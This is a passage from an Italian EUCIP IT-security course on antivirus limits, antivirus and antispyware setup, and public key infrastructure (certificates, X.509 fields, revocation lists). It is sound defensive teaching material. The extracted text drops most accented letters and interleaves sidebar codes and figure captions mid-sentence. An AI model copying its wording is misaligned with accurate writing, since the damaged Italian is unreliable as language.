mente, il virus potrebbe addirittura servirsi del lavoro del-
l'antivirus per farsi comodamente condurre come suo pas-
seggero nella visita di tutti i file del sistema, infettandoli su-
bito dopo che l'antivirus li abbia giudicati sani!
L'equilibrio tra queste due difficolt antagoniste porta a
ritenere che sia molto improbabile che la situazione volga
decisamente a favore degli attaccanti o dei difensori.
Limiti dei programmi antivirus
Un'altra conseguenza dell'approccio "tradizionale" a
scansione completa l'appesantimento progressivamente
crescente dei software antivirus e quindi il rallentamento
dei computer durante la loro esecuzione. Per file system
troppo estesi (in rapporto alla potenza della CPU) potreb-
be addirittura essere impossibile completare una scansio-
ne integrale del sistema nelle ore notturne.
Questo dovuto al fatto che il database delle firme virali
note ("signature file" o "virus pattern file") continua ad al-
lungarsi: non infatti possibile, per ragioni di prudenza,
considerare "debellate" le infezioni virali pi vecchie, per-
tanto le vecchie virus signature devono essere mantenute
nel repertorio, al quale continuano ad aggiungersene di
nuove.
Poich il software antivirus deve confrontare parti di
ogni file con tutte le firme virali note, col passare degli an-
ni e l'aumento del numero di firme virali diventa necessario
fare un numero di confronti sempre maggiore. Tale au-
mento di lavoro rallenta gli antivirus e rende sempre pi pe-
sante il processo di "bonifica".
Un altro aspetto da considerare il fatto che se la logi-
ca dell'antivirus consiste nellesaminare periodicamente
tutti i file presenti sul sistema (scansione periodica inte-
grale), il grado di protezione offerto non risulta soddisfa-
cente. Nel caso si verifichi un'infezione, infatti, questa non
sar rilevata fino alla prossima scansione completa. Nel
frattempo essa avr avuto il tempo di diffondersi fuori con-
trollo e magari di provocare i primi danni reali.
Per cercare di ovviare allinconveniente, da lungo tempo
gli antivirus integrano un modulo di controllo residente che
lavora in tempo reale intercettando tutti gli accessi a file sy-
stem ed esaminando "al volo" tutti i file prima che vengano
aperti, letti e magari eseguiti. In questo modo la protezio-
ne continua e non saltuaria come nel primo modello di
funzionamento, con un notevole miglioramento della sicu-
rezza offerta. Tuttavia, mentre con la tecnica delle scan-
sioni periodiche complete possibile programmare questa
attivit nelle ore notturne in cui il sistema pi scarico, con
l'approccio a "protezione continua" (real time scan) il si-
stema risulta costantemente appesantito durante il nor-
male funzionamento. In pratica, ogni apertura di file com-
porta un piccolo supplemento di lavoro per il sistema e ci
comporta un rallentamento costante, visibile anche dagli
utenti finali nelle ore di servizio.
Sono naturalmente possibili ottimizzazioni: per esem-
pio, una volta verificato attraverso una scansione integra-
le che sul sistema non siano gi presenti infezioni virali,
possibile decidere di sorvegliare le sole aperture in scrit-
tura, che sono usate dai virus per infettare i file, ed esami-
nare i dati che vengono scritti, specie se la scrittura si ri-
volge a file eseguibili gi presenti.
Individuazione dei virus: focus sui comportamenti
Questo tipo di strategia ci porta a un altro possibile ap-
proccio di lavoro degli antivirus, che possiamo compren-
dere attraverso un parallelo. Anzich conoscere le im-
pronte digitali di tutti i pregiudicati noti e di controllare le
impronte di tutti i passanti, pu avere senso anche solo li-
mitarsi a rilevare e bloccare sul nascere i comportamenti
sospetti, come estrarre un'arma, girare mascherati, segui-
re o spiare qualcuno. Un antivirus pu cio integrare la tec-
nica tradizionale con analisi euristiche (capaci di ricono-
scere nuovi modelli prima non noti) sui comportamenti at-
tuati da un processo: aprire in scrittura un file eseguibile
sempre sicuramente sospetto, come lo tentare di scrive-
re sul Master Boot Record del disco se non lo si sta for-
mattando.
Tale strategia permette in particolare di bloccare anche
virus non ancora noti al database delle firme virali, poich
si concentra sui comportamenti anzich sull'identit.
Purtroppo un'analisi sui comportamenti pu portare a
falsi allarmi anche pi facilmente di una scansione virale.
Infatti, qualsiasi ambiente di programmazione, in fase di
compilazione e di link, ha evidentemente bisogno di aprire
in scrittura un file eseguibile, cos come qualsiasi utility per
il partizionamento o l'inizializzazione del disco fisso deve
poter modificare il master boot record e la partition table.
Per evitare di generare falsi allarmi, l'analisi dovrebbe tener
conto dell'applicazione che sta adottando un comporta-
mento sospetto e prevedere una lista di "esenzioni", oppu-
re si dovrebbe scendere ancor pi nel dettaglio e verifica-
re non solo se un programma tenta di aprire in scrittura un
file eseguibile, ma anche che cosa esattamente sta tentan-
do di scrivervi.
Ottimizzazioni di questo tipo sono sicuramente adotta-
te per migliorare il grado di protezione mantenendo un ex-
tra lavoro (overhead) accettabile per il sistema, ma chia-
ro che non ci si pu spingere troppo in l con le "ipotesi di
reato", altrimenti si rischierebbe di creare falsi allarmi in
permanenza oppure di rallentare troppo il funzionamento
complessivo.
Per esempio, alcuni BIOS prevedono un'opzione Virus
Protection che consiste nel bloccare ogni e qualsiasi ac-
cesso in scrittura al master boot record (MBR) del disco fis-
so. Indubbiamente tale protezione fornisce un'elevata si-
curezza (non generalmente possibile disattivarla da
software, quindi il codice del virus non pu aggirarla), ed
5.5.4.3 Essere al
corrente dei limiti e
delle fallacit dei
programmi antivirus
essendo realizzata nel BIOS pu risultare anche molto ve-
loce, ma in mancanza di una logica pi sofisticata per di-
stinguere tra accessi leciti e accessi illeciti, abilitare tale op-
zione significa interferire con il funzionamento dei pro-
grammi di gestione del disco che hanno legittimamente bi-
sogno di poter effettuare questo tipo di operazioni. Il risul-
tato che pochi utenti la abilitano ed essa si rivela perci
sostanzialmente inutile. La lezione che il complesso di
protezione antivirus deve risultare complessivamente at-
tento e preciso, ma non generalizzare in modo paranoico,
altrimenti controproducente. La ricerca di un equilibrio
tra prestazioni e protezione il difficile esercizio in cui si
devono quotidianamente cimentare gli sviluppatori di
software antivirus.
Purtroppo dobbiamo registrare, negli anni, una tenden-
za a un rapido appesantimento delle macchine durante il la-
voro degli antivirus. Certe operazioni, come la copia di in-
teri alberi di directory da un punto all'altro del disco, pos-
sono risultare nettamente appesantite dalla presenza di un
antivirus. Addirittura, nella copia di files fra dischi di rete
appartenenti a PC diversi, i files oggetto dell'operazione po-
trebbero essere inutilmente sottoposti a due diversi con-
trolli, alla partenza e all'arrivo, qualora l'antivirus sia in-
stallato su entrambi i sistemi!
Disattivando temporaneamente la protezione si pu ot-
tenere un considerevole aumento di prestazioni. Anche per
questa ragione, alcuni antivirus sono dotati di una funzio-
ne snooze. Tale funzione consente di disabilitare la prote-
zione per un certo tempo (di solito qualche minuto) senza
il rischio di dimenticare di riattivarla, in quanto ci avverr
automaticamente al termine del periodo scelto. In questo
modo si potr lanciare l'operazione di copia che verr ese-
guita a piena velocit grazie al temporaneo snellimento dei
controlli real time.
Installare, configurare, mantenere aggiornato
un programma antivirus
Per dotare il proprio sistema di una protezione antivirus
occorre fondamentalmente compiere i seguenti passi:
Scaricare e installare un software antivirus. Ormai ve ne
sono di ottimi anche tra quelli gratuiti. Consigliamo, ad
esempio, AVG AntiVirus (Figura 7)
A installazione conclusa, aggiornare immediatamente
l'antivirus (figura 8) e lanciare una prima scansione inte-
grale del sistema. (Figura 9). Questo necessario in quan-
to il package dinstallazione del software antivirus cambia
relativamente di rado. Quindi, anche se esso contiene
sempre un database delle firme virali, questo risulter ag-
giornato alla data in cui stato completato il package: a
volte vecchio anche di mesi. Senza un immediato ag-
giornamento, la protezione sarebbe inadeguata.
Configurare il software antivirus in modo tale che:
- risulti attivata la protezione in real time. (Figura 9)
Questa di solito l'impostazione di default, ma vale la
pena di controllare.
- sia abilitato il sistema di aggiornamento periodico au-
tomatico del "signature file". Naturalmente ci richiede
una connessione a Internet: in sua mancanza possibi-
le effettuare l'aggiornamento anche da CD ROM o altro
supporto. Molto importante anche controllare ma-
nualmente, ogni tanto, che la data del signature file sia
recente. (Figura 9) Infatti possibile che per qualche mo-
tivo (connessione di rete precaria, firewall aziendale mo-
dificato, sito del produttore cambiato) l'aggiornamento
automatico sia fallito. In tal caso l'ignaro utente del si-
stema, sentendosi tranquillo e protetto, potrebbe esse-
re portato ad agire con minore prudenza e con prevedi-
bili conseguenze.
- vengano eseguite scansioni periodiche integrali, per
esempio nelle ore notturne. (Figura 10) Se il sistema do-
tato di un file system troppo grande per poterlo analiz-
zare tutto in tale arco di tempo, in alcuni antivirus pos-
sibile programmare scansioni scaglionate nel tempo:
certe cartelle il luned, certe altre il marted e cos via.
Naturalmente la sicurezza decresce in quanto aumenta
il tempo medio intercorrente tra due scansioni conse-
cutive sulla stessa area, durante il quale esiste il rischio
che si instauri (e rimanga non rilevata) una nuova infe-
zione.
Molto simile la procedura da seguire per installare e at-
tivare una protezione antispyware (Vedi riquadro pagine
seguenti Installazione e funzionamento di un antispyware).
Il funzionamento, invece, differisce leggermente da quello
di un antivirus, in quanto per quest'ultimo sempre lecito
5.5.4.4 Essere in
grado d'installare,
configurare,
mantenere
aggiornato un
programma
antivirus
buone prassi (good
practices)
considerare nel
proteggere e
utilizzare postazioni
workstation
Figura 7 - AVG uno dei
migliori antivirus gratuiti
per uso personale
Figura 8 - La prima cosa
da fare dopo aver
installato AVG
aggiornarlo. Se non lo
propone l'installer
possibile farlo in seguito
dal Control Center
selezionando "Check for
Updates" e scegliendo
"Internet". La scansione
del sistema richiede un
tempo proporzionale alle
dimensioni del file system
Figura 9 - Controllare
sempre le impostazioni in
modo tale che sia attiva
la protezione in Real
Time
Figura 10 - AVG permette
di programmare
scansioni e
aggiornamenti, compresa
l'ora alla quale devono
avvenire
agire quando si rileva un principio d'infezione o un file in-
fetto, mentre nel caso della prevenzione run time anti-
spyware meno banale bollare inequivocabilmente un de-
terminato comportamento come indizio dinfezione. Per
esempio, un accesso in scrittura al Registro di sistema po-
trebbe mascherare un tentativo di attacco, ma innumere-
voli programmi "sani e normali" ne hanno legittimamente
bisogno per le loro attivit. Per questi motivi, le segnala-
zioni di "presunta minaccia" visualizzate dagli strumenti an-
tispyware in genere prevedono una qualche forma dinte-
rattivit che permette all'utente di giudicare e decidere se
autorizzare o negare il permesso a una determinata azione
sospetta.
L'utente pu sentirsi chiedere, per esempio, se autoriz-
zare o meno l'esecuzione di uno script VBScript (figura 11):
qualora si decida di bloccarlo e di ricordare la scelta fatta
(figura 12), lo script entrer in una sorta di "blacklist" da cui
potr eventualmente essere rimosso in seguito (Figura 13).
Quando un'operazione viene autorizzata, la segnalazione
simile, ma di solito presente un link per saperne di pi sul-
l'azione sospetta appena eseguita (figura 14).
C' da dire che non sempre le segnalazioni dell'anti-
spyware, pur puntuali e ben circostanziate, risultano com-
prensibili per l'utente finale: un tipico esempio sono gli av-
visi relativi a tentativi di modifica del Registry (figura 15 ).
Anche l'aggiunta al Registry di chiavi per l'installazione
di controlli ActiveX rappresenta un evento sospetto, ma ri-
sulta veramente difficile per l'utente giudicare in base al no-
me del controllo e al suo lungo e incomprensibile identifi-
catore numerico, il ClassID (figura 16).
In questi casi, se non si sa come rispondere alla doman-
da rivolta dall'antispyware, si pu applicare un criterio pru-
denziale: se era in corso uninstallazione di software di pro-
venienza "fidata" ed espressamente attivata da noi, pro-
babile che queste operazioni giudicate sospette dall'anti-
spyware siano in realt legittime e possono quindi essere
autorizzate (figura 17 ). Se invece una simile segnalazione
dovesse apparire nel corso di una navigazione Web o in
condizioni di quiete, senza che ci sia stata da parte dell'u-
tente alcuna azione esplicitamente rivolta a installare o
configurare programmi, consigliabile negare l'autorizza-
zione.
Nelle organizzazioni con un gran numero di personal
computer in rete, la prassi irrinunciabile di tenere regolar-
mente aggiornati gli antivirus di tutte le macchine diventa
una questione non banale. Affidare l'operazione alla dili-
genza dei singoli utenti finali non una soluzione soddi-
sfacente: le dimenticanze sono sempre possibili e anche la
ricezione di un solo messaggio email infetto pu bastare
per diffondere il contagio (non pi via mail, ma con altri
meccanismi sulla Intranet aziendale) a tutte le macchine.
Incaricare un ente centrale di effettuare l'operazione d
maggiori garanzie, ma potrebbe comportare uno sforzo am-
ministrativo eccessivo.
Apposite procedure automatiche possono eseguire que-
sto compito anche quotidianamente, per esempio nelle ore
notturne, ma il carico sulla rete aziendale pu diventare in-
sostenibile.
In tali situazioni, una buona soluzione per proteggersi
dai virus propagati via posta pu essere quella di centra-
lizzare il controllo, installando un antivirus direttamente
sul server di posta elettronica. I messaggi contenenti file in-
fetti saranno respinti e una mail di avviso sar inviata al de-
stinatario per informarlo del fatto.
Alcuni siti web di approfondimento
In rete sono presenti numerosissimi siti dedicati all'argo-
mento della sicurezza. Gli indirizzi qui segnalati a titolo in-
dicativo possono essere utili come punti di partenza o co-
me sintesi sul tema.
Pagina su Home Network Security sul sito del CERT (Com-
puter Emergency Response Team), Carnegie-Mellon Uni-
Figura 11 - Uno script
VBS viene bloccato
prudenzialmente da
Microsoft Antispyware
Figura 12 - Una vistosa
segnalazione
dell'antispyware informa
l'utente che lo script
stato bloccato
Figura 13 - La lista degli
script da bloccare gestita
dall'amtispyware
Microsoft
Figura 14 - Un'azione
sospetta appena stata
autorizzata
versity: www.cert.org/tech_tips/home_networks.html
Un sito ricco di consigli sull'amministrazione di siste-
ma e di rete per utenti domestici di PC http://www.
firewallguide.com/
Utili suggerimenti pratici dal sito Microsoft: "The ten im-
mutable laws of security" http://www.microsoft.com/
technet/treeview/default.asp?url=/technet/columns/
security/essays/10imlaws.asp
Figura 15 - Le modifiche
al Registry possono
nascondere gravi insidie.
L'antispyware SpyBot
visualizza un apposito
alert
Figura 16 - Spybot ha
appena bloccato un
tentativo di installazione
di un nuovo controllo
ActiveX
Figura 17 - Non sempre
l'installazione di un
controllo ActiveX una
minaccia: spesso
l'operazione pu essere
autorizzata senza rischi.
Spybot segnala in ogni
caso la decisione presa
Installazione e
funzionamento
di un antispyware
Antivirus e antispyware sono assai simili per quanto
riguarda l'installazione, l'aggiornamento e l'uso
quotidiano. In questo esempio vediamo i principali passi
di configurazione di Ad-Aware, un antispyware molto
diffuso, gratuito per uso personale.
Subito dopo il termine dell'installazione del programma,
tipicamente viene proposto di aggiornare
immediatamente il signature file: quello che viene
installato con il programma infatti vecchio quanto il
setup package, che viene aggiornato con scarsa
frequenza. (Figura A)
Il canale di aggiornamento pi pratico ovviamente
Internet: viene comunque chiesta conferma prima di
procedere (Figura B)
Non detto che siano sempre disponibili definizioni pi
recenti di quelle gi installate. In caso affermativo,
comunque, viene segnalata l'esatta versione e si
propone di continuare (Figura C). Date le dimensioni
abbastanza ridotte del file aggiornamento, l'operazione
di download dura in genere pochi secondi (Figura D).
A
B
C
D
Ad aggiornamento completato, ci troviamo nella
schermata principale del programma. Premendo il
pulsante Start possibile lanciare una scansione del
sistema. (Figura E)
Prima diniziare l'operazione richiesto di scegliere tra
una scansione "smart", pi rapida, e una "full", pi
approfondita; inoltre possibile impostare alcune
opzioni avanzate. (Figura F)
Il pulsante Next d finalmente avvio alla scansione.
Come avviene per gli antivirus, il tempo richiesto dipende
ovviamente dalle proporzioni del file system (Figura G).
Quasi sempre, durante la scansione viene trovata
almeno qualche blanda minaccia, come cookie traccianti
(usati per ricordare i siti visitati o i comportamenti
all'interno dei siti) oppure le liste MRU (Most Recently
Used). Ad-Aware visualizza prima un rapporto sintetico
(Figura H)
e poi un elenco dettagliato delle minacce identificate
(Figura I). consigliabile eliminare sempre le minacce
segnalate. Per procedere sufficiente selezionarle
tutte e fare clic su Next.
E
F
G
H
I
C
ome stato descritto nella sezione 5.2 (Crittografia),
la crittografia asimmetrica si affiancata alla critto-
grafia simmetrica, che da sola presentava notevoli
problemi di trasmissione e gestione delle chiavi. La critto-
grafia asimmetrica, nata negli ambienti militari negli anni
60 del secolo scorso e separatamente inventata nel mon-
do civile durante il decennio successivo, basata sulluti-
lizzo di una chiave pubblica e di una chiave privata. Le due
chiavi sono legate da una relazione matematica che per-
mette di decifrare con una chiave ci che stato cifrato con
laltra. Tuttavia, la lunghezza delle chiavi e la complessit
del problema matematico da risolvere impediscono, con i
mezzi correnti, di ricostruire una chiave partendo dallaltra
chiave della coppia. Pertanto una delle due chiavi pu es-
sere resa disponibile pubblicamente, per esempio memo-
rizzata in un database, pubblicata in un elenco o stampata
su un biglietto da visita. Finch la chiave privata rimane se-
greta, la conoscenza della chiave pubblica non pone alcun
problema di sicurezza (se si certi che la chiave pubblica
sia autentica).
Lidea che una chiave crittografica potesse essere rive-
lata pubblicamente era cos radicale e suggestiva che il me-
todo di protezione delle informazioni con crittografia asim-
metrica divenne noto con il nome di crittografia a chiave
pubblica.
Lintroduzione della crittografia a chiave pubblica ha re-
so disponibile una serie di servizi, parte dei quali erano
sconosciuti o irrealizzabili con la cifratura simmetrica. Di
questi, i principali sono:
- la comunicazione sicura tra estranei
- la cifratura (di dati di breve lunghezza, come chiavi sim-
metriche)
- la firma digitale (che garantisce lautenticit e lintegrit
dei dati)
- lo scambio di chiavi (spesso simmetriche).
Quando si utilizza una chiave pubblica per verificare una
firma digitale o per cifrare un messaggio, dimportanza
fondamentale conoscere con certezza chi leffettivo pro-
prietario della chiave. Per esempio, se Anna ha ricevuto la
chiave pubblica di Alberto e gli scrive un messaggio riser-
vato cifrandolo con quella chiave, solo Alberto sar in gra-
do di decifrarlo con la propria chiave privata. Ma qualcuno,
impersonando Alberto o in altri modi, pu fare avere ad An-
na una falsa chiave pubblica, cos da decifrare i messaggi
che Anna cifra con tale chiave. Come fa Anna a sapere che
la chiave pubblica ricevuta sia autentica?
Uninfrastruttura un substrato che pervade un vasto
ambiente (una grande azienda, una rete, una collettivit, ec-
cetera) e che fornisce servizi ogniqualvolta le entit uten-
ti abbiano bisogno di attingervi. Due esempi sono la rete
dellenergia elettrica e Internet. Analogamente, uninfra-
In questa nuova lezione di Eucip IT Administrator Sicurezza
Informatica scoprirete come si crea un certificato, come lo si
valida e come si viene riconosciuti per suo tramite.
I contenuti sono composti
da tre elementi: un articolo
sulla rivista, un articolo, molto
pi esteso in formato PDF
completo su CD e DVD di Giorgio Gobbi
Materiale didattico
validato da AICA
IT Administrator
Modulo 5 -
IT Security
"AICA Licenziataria
programma EUCIP
of Informatic
validato copre
puntualmente e
integralmente gli
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
del marchio EUCIP,
vigenti"
2.0 (curriculum
ufficiale AICA)
5.6.1 PKI
5.6.1.1 Essere al
corrente delle
problematiche di
distribuzione della
chiave pubblica,
anche riguardo
l'identificazione del
possessore
applicazioni
In collaborazione
con:
Certificati e certificatori
Infrastruttura
a chiave pubblica
struttura di sicurezza dovrebbe essere a disposizione degli
utenti (individui, applicazioni, eccetera) che hanno neces-
sit di sicurezza e dovrebbe essere facilmente accessibile
nellambito di unarchitettura caratterizzata da interope-
rabilit, coerenza e gestibilit attraverso piattaforme ete-
rogenee. Linfrastruttura a chiave pubblica pu formare la
base su cui costruire e gestire uninfrastruttura di sicurez-
za e ha come obiettivi fondamentali lautenticazione, lin-
tegrit e la riservatezza delle informazioni.
Linfrastruttura a chiave pubblica nasce con lo scopo di
distribuire e gestire in modo sicuro le chiavi pubbliche per
tutto il periodo della loro validit, garantendo la corri-
spondenza tra ogni chiave pubblica e il proprietario della
coppia di chiavi. La garanzia di autenticit delle chiavi pub-
bliche (e quindi delle corrispondenti chiavi private) for-
nita dalle Autorit di Certificazione (Certification Authority
o CA) tramite lemissione di certificati digitali. Un certifi-
cato una struttura di dati che associa lidentit del titola-
re alla coppia di chiavi (la chiave pubblica inclusa nel cer-
tificato), certificata tramite una firma digitale prodotta per
mezzo della chiave privata della CA. In questo modo,
chiunque, tramite la chiave pubblica della CA, pu verifi-
care la validit del certificato e quindi lautenticit della
chiave pubblica che vi contenuta. Questi certificati sono
detti certificati digitali o certificati di chiave pubblica (pu-
blic key certificate).
Una coppia di chiavi asimmetriche ha tipicamente que-
sto ciclo di vita:
- lentit da certificare viene identificata con certezza e re-
gistrata presso una CA o presso una RA (Registration
Authority), un componente dellinfrastruttura che viene
talvolta utilizzato per sollevare la CA da certe funzioni, au-
mentando la scalabilit e riducendo i costi. Se la genera-
zione delle chiavi non contestuale alla registrazione, la
RA deve fornire allentit richiedente un codice di acces-
so che consenta di autenticare la connessione allinvio
della richiesta.
- Vengono generate le chiavi. Ci avviene normalmente
presso lentit utente, per esempio attraverso le funzioni
crittografiche del sistema operativo, invocate da un web
browser. Tale approccio offre la migliore protezione della
chiave privata. Se le chiavi vengono generate allinterno
della PKI (una procedura che si raccomanda di evitare), si
dovrebbe ricorrere a procedure di sicurezza particolar-
mente rigorose per garantire il non ripudio.
- Viene generata una richiesta di certificato conforme a uno
dei protocolli di sicurezza che sono stati definiti. Per
esempio, il gruppo di lavoro IETF PKIX ha pubblicato le
specifiche Internet X.509 Public Key Infrastructure Certi-
ficate Management Protocol (CMP) - RFC 2510, Internet
X.509 Certificate Request Message Format (CRMF) - RFC
2511 e il successivo CMP2. Alcuni ambienti utilizzano, in
alternativa, i Public Key Cryptography Standards (PKCS)
7 - RFC 2315 e PKCS 10 - RFC2986. Altri protocolli sono ba-
sati sulle strutture PKCS 7/10, come il Certificate Manage-
ment Messages over CMS (Cryptographic Message Syn-
tax) - RFC 2797 e il Simple Certificate Enrollment Protocol
di Cisco. CMP e CRMF costituiscono il protocollo pi com-
pleto per la gestione del ciclo di vita dei certificati. Sia
CRMF sia PKCS 10 prevedono linvio di un messaggio fir-
mato, in modo che la CA abbia la prova che il mittente del-
la richiesta di certificato sia in possesso anche della chia-
ve privata.
- La richiesta di certificato inviata alla CA. E una fase de-
licata, perci si deve garantire che avvenga su un canale
sicuro, possibilmente autenticato.
- Il certificato viene generato. In questa fase la CA crea la
struttura di dati contenente la chiave pubblica, i dati iden-
tificativi del possessore delle chiavi (il richiedente), il pe-
riodo di validit e varie altre informazioni, alcune riguar-
danti la CA stessa.
- Il certificato inviato al richiedente ed pubblicato nella
directory della CA. Ci sono vari modi di disseminare un
certificato, come la distribuzione out-of-band (invio con
mezzi non elettronici, inclusa la consegna fisica) e la di-
stribuzione con protocolli in-band, per esempio allinter-
no di un messaggio di posta elettronica sicuro (S/MIME).
- Se necessario porre termine al periodo di validit del
certificato prima della sua data di scadenza, la CA pu re-
vocare il certificato inserendo un riferimento ad esso nel-
la Certificate Revocation List (CRL). La richiesta di revo-
ca pu provenire dal possessore del certificato, per esem-
pio perch stata compromessa la sicurezza della chiave
privata o per cambio di mansioni o dimissioni di un di-
pendente. Lutente pu comunicare la richiesta di revoca
alla CA o alla RA online o, in alternativa (per esempio in ca-
so di furto di una smart card o di un computer), via te-
lefono.
- Prima della scadenza del certificato, di solito prevista la
possibilit di generare una nuova coppia di chiavi e di ri-
chiedere il rinnovo del certificato. (Sebbene si parli co-
munemente di rinnovo nei termini citati, in letteratura si
distingue tra rinnovo e aggiornamento: il rinnovo conser-
va la coppia di chiavi e laggiornamento prevede la gene-
razione di nuove chiavi. Anche ammesso che le circo-
stanze e la sicurezza delle chiavi giustifichino questo tipo
di rinnovo, una procedura pericolosa se non si prende la
precauzione di assicurare che le firme digitali siano di-
stinguibili in corrispondenza di ogni variazione dei dati
del certificato).
Ciclo di vita delle chiavi asimmetriche (Fig A-B)
A
B
Certificati digitali e liste dei certificati revocati
(CRL)
Il concetto di certificato digitale, ovvero di una struttu-
ra di dati firmata contenente una chiave pubblica, fu intro-
dotto nel 1978 da uno studente del MIT (Massachusetts In-
stitute of Technology). Sono quindi trascorsi quasi tre de-
cenni dalla concezione di un metodo sicuro e scalabile per
trasportare le chiavi pubbliche a tutte le parti interessate.
Il certificato era lo strumento che permetteva di legare il
nome di unentit (pi altre informazioni) alla corrispon-
dente chiave pubblica.
Oggi esistono vari tipi di certificati, tra cui i seguenti:
- certificati di chiave pubblica X.509
- certificati SPKI (Simple Public Key Certificate)
- certificati PGP (Pretty Good Privacy)
- certificati SET (Secure Electronic Transaction)
- certificati di attributi (attribute certificate).
Ogni tipo di certificato ha un formato diverso, inoltre
per alcuni tipi esistono diverse versioni. Per esempio, del
formato pi diffuso, lX.509, esistono tre versioni di certifi-
cato. La versione 1 un sottoinsieme della versione 2, che
a sua volta un subset della versione 3. Un certificato X.509
versione 3 include numerose estensioni opzionali e pu
quindi essere utilizzato in diversi modi secondo le specifi-
che applicazioni. Ad esempio, i certificati SET sono certifi-
cati X.509 V 3 con estensioni specifiche definite solo per le
transazioni SET (pagamenti tramite carta di credito) e in-
comprensibili alle applicazioni non SET.
Per i nostri scopi, intendiamo come certificato (sinomi-
no di certificato digitale e di certificato di chiave pubblica),
un certificato X.509 versione 3, come definito dalla racco-
mandazione ITU-T X.509 Information Technology - Open
Systems Interconnection - The Directory: Public Key and
Attribute Certificate Frameworks, marzo 2000, equivalen-
te allISO/IEC 9594-8:2001. La versione 3 del 2000 corregge
e completa la versione 3 del 1997, che a sua volta rimedia-
va alle carenze delle versioni 1 e 2.
Sebbene la norma X.509 definisca certi requisiti associa-
ti ai campi standard e alle estensioni di un certificato, le esi-
genze dinteroperabilit richiedono un ulteriore raffinamen-
to delle specifiche in corrispondenza di certi profili duso. A
tale scopo, il gruppo di lavoro PKIX (Public Key Infrastruc-
ture X.509) dellIETF ha pubblicato la RFC 2559 nel 1999, rim-
piazzata dalla RFC 3280 nel 2002. Sebbene la RFC3280 si ri-
volga alla comunit Internet, contiene molte raccomanda-
zioni valide anche per le applicazioni aziendali.
Il contenuto di un certificato digitale accessibile in va-
ri modi. Per esempio, si pu utilizzare un web browser per
interrogare il server LDAP (Lightweight Directory Access
Protocol) della CA e avere accesso ai contenuti dei certifi-
cati archiviati nella directory (vedi la sezione Servizi di Di-
rectory, pi avanti). Con un
browser si possono anche
eseguire operazioni sui cer-
tificati locali, come visualiz-
zare gli attributi di un certi-
ficato installato e importare
o esportare certificati.
Per esempio, attraverso
una CA, possiamo usare In-
ternet Explorer in Windows
per creare una coppia di
chiavi asimmetriche e pro-
curarci il relativo certificato
digitale, un servizio che per
uso personale associato al-
la posta elettronica dispo-
nibile gratuitamente presso
www.thawte.com. Dopo
aver installato il certificato
seguendo le istruzioni di
Thawte, ne possiamo vede-
re gli attributi aprendo, in IE, Strumenti > Opzioni Internet >
Contenuto > Certificati (fig.1).
Dopo aver selezionato il certificato da visualizzare, un
clic su Visualizza porta alla sezione generale della finestra
Certificato (fig.2).
La sezione dettagli mostra gli attributi del certificato
(fig.3).
La sezione Percorso di certificazione mostra la gerarchia
delle CA che certificano la validit del certificato.
Le informazioni di base contenute in un certificato
X.509 sono le seguenti.
- Version (Numero di versione del certificato): 1 o 3, visto
che la versione 2 non ha avuto applicazione pratica. La
versione 3 la pi diffusa ed caratterizzata dalla pre-
senza di estensioni, che vedremo nella prossima sezione.
- Serial Number (Numero di serie): un numero che identifi-
ca il certificato in modo univoco allinterno della CA. Ogni
CA deve garantire che ogni certificato emesso abbia un
5.6.1.2 Conoscere il
significato di:
certificato, liste dei
certificati revocati
(CRL)
1
2
3
numero di serie unico.
- Signature (Algoritmo della firma elettronica): indica lal-
goritmo utilizzato per firmare il certificato. Si tratta di un
OID (Object Identifier) che identifica lalgoritmo in modo
univoco, a cui associata una sigla mnemonica che indi-
ca gli algoritmi di hash e di cifratura utilizzati, per esem-
pio md5RSA (come nellesempio) o sha1RSA.
- Issuer (Rilasciato da): il nome dellentit che ha rilasciato
il certificato, per esempio una CA. Questo attributo nel
formato Distinguished Name (DN), che indica univoca-
mente un oggetto nella struttura della directory. Il DN ot-
tenuto concatenando tutti gli oggetti che lo compongono,
che nellesempio di cui sopra sono C (nazione), O (orga-
nizzazione) e CN (common name, il nome della persona).
Tale DN rappresenta anche lentry della directory relativa
alla CA dove normalmente si trova il certificato auto-fir-
mato della CA e le CRL (un certificato auto-firmato se
firmato con la chiave privata corrispondente alla chiave
pubblica contenuta nel certificato, come solitamente ac-
cade per i certificati di CA).
- Valid from, Valid to (Valido dal e Valido fino al): le date e
lora di inizio e fine della validit del certificato.
- Subject (Soggetto): il nome del soggetto certificato sotto
forma di DN; per esempio, in un certificato personale di
Thawte, composto da CN = Thawte Freemail Member e
da E = <email del soggetto>.
- Public key (Chiave pubblica): nellesempio una chiave
RSA di 1024 bit.
La chiave pubblica.
Come si accennato, pu esser necessario interrompe-
re la validit di un certificato prima della sua scadenza. Lin-
terruzione pu essere definitiva (revoca del certificato) op-
pure temporanea (sospensione del certificato). La revoca
o la sospensione si attuano inserendo un riferimento al cer-
tificato allinterno di una lista di revoca (CRL) fig.4.
Si revoca un certificato quando, a partire da un certo
momento, non devono pi essere considerate valide le fir-
me generate con la chiave privata abbinata alla chiave pub-
blica contenuta nel certificato. Ci pu essere determinato
da motivi organizzativi (come il trasferimento del dipen-
dente a cui assegnato il certificato) o di sicurezza (chia-
ve privata compromessa, smart card smarrita o rubata, ec-
cetera).
Si sospende un certificato quando sono necessarie ul-
teriori indagini per decidere se revocarlo o riattivarlo. Du-
rante il periodo di sospensione, il certificato come revo-
cato. Se il certificato viene riattivato, il suo riferimento vie-
ne tolto dalla CRL, come se non fosse stato mai sospeso. Se
viene revocato, la data di revoca coincide con quella di so-
spensione.
Per determinare se un messaggio firmato da conside-
rare valido, occorre accertare se, al momento della firma,
il certificato risultava revocato o sospeso (cio incluso nel-
la CRL). Perci necessario conoscere con certezza il mo-
mento della firma, oltre a quello di revoca o sospensione
eventualmente contenuto nella CRL.
Un modo standard per associare a un dato una coordi-
nata temporale, dimostrando la sua esistenza a una certa
data e ora, luso di un servizio di marcatura temporale for-
nito da una Time Stamping Authority (TSA), come descrit-
to nella RFC 3161. Una marca temporale (timestamp) un
dato strutturato, firmato dalla TSA, che contiene lhash del
documento associato, un numero seriale di identificazione
e data e ora.
La TSA ha una propria coppia di chiavi per la firma delle
marche temporali. Il certificato TSA contiene la chiave pub-
blica e viene emesso, nel caso di firma qualificata secondo
la normativa italiana, da una CA diversa da quella dei tito-
lari. In tal modo, in caso di compromissione della chiave di
CA, possibile verificare correttamente la validit delle fir-
me apposte dagli utenti prima della compromissione.
Anche la lista di revoca dei certificati (CRL, Certificate
Revocation List) una struttura firmata (poich occorre ga-
rantire lattendibilit delle informazioni che vi sono conte-
nute) ed composta di due parti: una generale con infor-
mazioni sulla CRL stessa e la lista dei certificati revocati
